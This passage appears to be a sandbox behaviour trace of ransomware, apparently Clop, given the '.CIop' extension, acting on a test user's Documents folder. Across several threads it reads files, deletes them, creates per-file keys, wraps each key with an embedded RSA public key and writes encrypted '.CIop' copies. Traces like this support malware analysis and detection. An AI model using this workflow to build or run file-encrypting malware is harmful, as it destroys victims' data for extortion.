dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.982] CryptExportKey (in: hKey=0x5b67b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.982] CryptDestroyKey (hKey=0x5b67b8) returned 1 [0089.982] CryptReleaseContext (hProv=0x614f68, dwFlags=0x0) returned 1 [0089.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zmbkh2wunbqmsh-.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0 [0089.983] WriteFile (in: hFile=0x3f0, lpBuffer=0x6165c8*, nNumberOfBytesToWrite=0xa513, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesWritten=0x2f0e5d8*=0xa513, lpOverlapped=0x0) returned 1 [0089.984] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa513 [0089.984] WriteFile (in: hFile=0x3f0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.984] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa51a [0089.984] SetErrorMode (uMode=0x1) returned 0x1 [0089.984] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.984] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.984] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.984] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614f68) returned 1 [0089.984] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614f68, dwCertEncodingType=0x1, pInfo=0x5b9e28, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5b67b8) returned 1 [0089.985] CryptEncrypt (in: hKey=0x5b67b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.985] CryptEncrypt (in: hKey=0x5b67b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614220*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614220*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.985] WriteFile (in: hFile=0x3f0, lpBuffer=0x614220*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614220*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.985] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.986] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.986] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.986] CloseHandle (hObject=0x3f0) returned 1 [0089.987] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zmbkh2wunbqmsh-.docx")) returned 0 Thread: id = 57 os_tid = 0xfd8 [0089.988] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.988] lstrcpyW (in: lpString1=0x306f368, lpString2="" | out: lpString1="") returned="" [0089.988] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0089.988] SetErrorMode (uMode=0x1) returned 0x1 [0089.988] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned 45 [0089.988] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", dwFileAttributes=0x20) returned 1 [0089.988] StrStrW (lpFirst="", lpSrch=".CIop") returned 0x0 [0089.988] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\.CIop") returned 50 Thread: id = 58 os_tid = 0xfdc [0089.995] lstrcpyA (in: lpString1=0x304e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.995] lstrcpyW (in: lpString1=0x304f368, lpString2="" | out: lpString1="") returned="" [0089.995] lstrcpyW (in: lpString1=0x304f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0089.995] SetErrorMode (uMode=0x1) returned 0x1 [0089.995] wsprintfW (in: param_1=0x304eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned 48 [0089.995] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", dwFileAttributes=0x20) returned 1 [0089.995] StrStrW (lpFirst="", lpSrch=".CIop") returned 0x0 [0089.995] wsprintfW (in: param_1=0x304e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\.CIop") returned 53 Thread: id = 59 os_tid = 0xfe0 [0090.014] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.014] lstrcpyW (in: lpString1=0x2f0f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0090.014] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0090.014] SetErrorMode (uMode=0x1) returned 0x1 [0090.014] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0090.014] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0090.015] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0090.015] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 60 os_tid = 0xfe4 [0090.045] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.045] lstrcpyW (in: lpString1=0x2f0f368, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico" [0090.045] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0090.045] SetErrorMode (uMode=0x1) returned 0x1 [0090.046] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico") returned 65 [0090.046] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", dwFileAttributes=0x20) returned 1 [0090.046] StrStrW (lpFirst="folder.ico", lpSrch=".CIop") returned 0x0 [0090.046] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico.CIop") returned 70 [0090.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc [0090.047] ReadFile (in: hFile=0x3fc, lpBuffer=0x6185d8, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6185d8*, lpNumberOfBytesRead=0x2f0e5e8*=0x74e6, lpOverlapped=0x0) returned 1 [0090.062] CloseHandle (hObject=0x3fc) returned 1 [0090.062] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico")) returned 1 [0090.063] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0090.064] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.064] SetErrorMode (uMode=0x1) returned 0x1 [0090.064] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614110) returned 1 [0090.066] CryptGenKey (in: hProv=0x614110, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6488) returned 1 [0090.105] CryptExportKey (in: hKey=0x5d6488, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.105] CryptExportKey (in: hKey=0x5d6488, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0090.105] CryptDestroyKey (hKey=0x5d6488) returned 1 [0090.105] CryptReleaseContext (hProv=0x614110, dwFlags=0x0) returned 1 [0090.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc [0090.106] WriteFile (in: hFile=0x3fc, lpBuffer=0x6185d8*, nNumberOfBytesToWrite=0x74e6, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6185d8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x74e6, lpOverlapped=0x0) returned 1 [0090.107] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x74e6 [0090.107] WriteFile (in: hFile=0x3fc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0090.108] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x74ed [0090.108] SetErrorMode (uMode=0x1) returned 0x1 [0090.108] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0090.108] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0090.108] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0090.108] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x613e68) returned 1 [0090.108] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613e68, dwCertEncodingType=0x1, pInfo=0x5b97a8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6c48) returned 1 [0090.109] CryptEncrypt (in: hKey=0x5d6c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0090.109] CryptEncrypt (in: hKey=0x5d6c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613c48*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613c48*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0090.109] WriteFile (in: hFile=0x3fc, lpBuffer=0x613c48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613c48*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0090.109] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.110] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.110] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.111] CloseHandle (hObject=0x3fc) returned 1 [0090.112] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico")) returned 0 Thread: id = 61 os_tid = 0xfe8 [0090.189] lstrcpyA (in: lpString1=0x2f1e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.189] lstrcpyW (in: lpString1=0x2f1f368, lpString2="Open Notebook.onetoc2" | out: lpString1="Open Notebook.onetoc2") returned="Open Notebook.onetoc2" [0090.189] lstrcpyW (in: lpString1=0x2f1f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0090.189] SetErrorMode (uMode=0x1) returned 0x1 [0090.189] wsprintfW (in: param_1=0x2f1eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 87 [0090.189] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", dwFileAttributes=0x20) returned 1 [0090.191] StrStrW (lpFirst="Open Notebook.onetoc2", lpSrch=".CIop") returned 0x0 [0090.191] wsprintfW (in: param_1=0x2f1e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CIop") returned 92 [0090.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0090.191] ReadFile (in: hFile=0x404, lpBuffer=0x6265d0, nNumberOfBytesToRead=0x1828, lpNumberOfBytesRead=0x2f1e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x2f1e5e8*=0x1828, lpOverlapped=0x0) returned 1 [0090.193] CloseHandle (hObject=0x404) returned 1 [0090.193] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2")) returned 1 [0090.194] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0090.194] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0090.194] SetErrorMode (uMode=0x1) returned 0x1 [0090.195] CryptAcquireContextW (in: phProv=0x2f1e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f1e5b8*=0x613d58) returned 1 [0090.197] CryptGenKey (in: hProv=0x613d58, Algid=0x1, dwFlags=0x4000, phKey=0x2f1e5bc | out: phKey=0x2f1e5bc*=0x5c1280) returned 1 [0090.248] CryptExportKey (in: hKey=0x5c1280, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f1e5ec | out: pbData=0x0*, pdwDataLen=0x2f1e5ec*=0x94) returned 1 [0090.248] CryptExportKey (in: hKey=0x5c1280, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f1e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f1e5ec*=0x94) returned 1 [0090.248] CryptDestroyKey (hKey=0x5c1280) returned 1 [0090.249] CryptReleaseContext (hProv=0x613d58, dwFlags=0x0) returned 1 [0090.249] 